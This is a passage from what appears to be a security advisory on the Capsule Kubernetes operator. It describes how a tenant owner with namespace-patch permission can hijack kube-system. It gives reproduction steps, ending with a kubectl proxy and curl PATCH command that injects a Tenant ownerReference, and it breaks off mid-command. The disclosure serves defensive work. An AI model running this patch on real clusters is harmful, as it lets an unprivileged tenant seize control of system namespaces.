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Capsule tenant owner with “patch namespace” permission can hijack system namespaces

Attack Vector Then, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference. Below are my detailed reproduction steps Create a test cluster kind create cluster –image=kindest/node:v1.24.15 –name=k8s Install the capsule helm install capsule projectcapsule/capsule -n capsule-system –create-namespace Create a tenant “` kubectl create -f – << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: tenant1 spec: owners: name: alice kind: User EOF “` Create user alice ./create-user.sh alice tenant1 capsule.clastix.io export KUBECONFIG=alice-tenant1.kubeconfig Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.) “` kubectl proxy export DATA='[{"op": "add", "path": "/metadata/ownerReferences", "value":[{"apiVersion": "capsule.clastix.io/v1beta2", "blockOwnerDeletion": true, "controller": true, "kind": "Tenant", "name": "tenant1", "uid": "ce3f2296-4aaa-45b0-a8fe-879d5096f193"}]}]' curl https://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d "$DATA" -H "Content-Type:…Read More

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